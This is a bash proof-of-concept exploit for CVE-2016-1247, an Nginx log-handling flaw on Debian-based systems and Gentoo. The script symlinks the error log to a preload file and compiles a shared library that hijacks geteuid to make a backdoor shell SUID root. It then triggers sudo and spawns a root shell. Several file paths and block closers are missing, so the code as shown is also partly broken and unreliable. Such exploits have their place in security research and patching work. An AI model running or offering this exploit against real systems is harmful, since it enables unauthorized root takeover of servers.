Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Escalation







# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
# (ver. 1.0)
# CVE-2016-1247
# Discovered and coded by:
# Dawid Golunski
# dawid[at]
# Follow for updates on this advisory.
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# as well as Gentoo etc.) to escalate their privileges from nginx web server user 
# (www-data) to root through unsafe error log handling.
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
# has been configured. 
# Exploit usage:
# ./ path_to_nginx_error.log 
# To trigger logrotation for testing the exploit, you can run the following command:
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
# See the full advisory for details at:
# Video PoC:
# Disclaimer:
# For testing purposes only. Do no harm.


function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ ]; then
		echo -n > /etc/
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0


cat <<_eascii_
< Is your server (N)jinxed ? ;o >
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \ (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \n \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
	echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
	exit 3

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
	exit 3

# Set target paths
if [ ! -f $ERRORLOG ]; then
	echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
	exit 3

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
	return old_geteuid();
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;

# Prepare backdoor shell
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ ]; then
	echo -e "\n[!] /etc/ already exists. Exiting for safety."
	exit 2

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
	sleep 1
	if [ -f /etc/ ]; then
		echo $PRIVESCLIB > /etc/
		rm -f $ERRORLOG

# /etc/ should be owned by www-data user at this point
# Inject the shared library to escalate privileges
echo $PRIVESCLIB > /etc/
echo -e "\n[+] Nginx restarted. The /etc/ file got created with web server privileges: \n`ls -l /etc/`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/"
echo -e "\n[+] The /etc/ file now contains: \n`cat /etc/`"
chmod 755 /etc/

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
	echo -e "\n[!] Failed to get root"
	cleanexit 2

echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"

# Job done.
cleanexit 0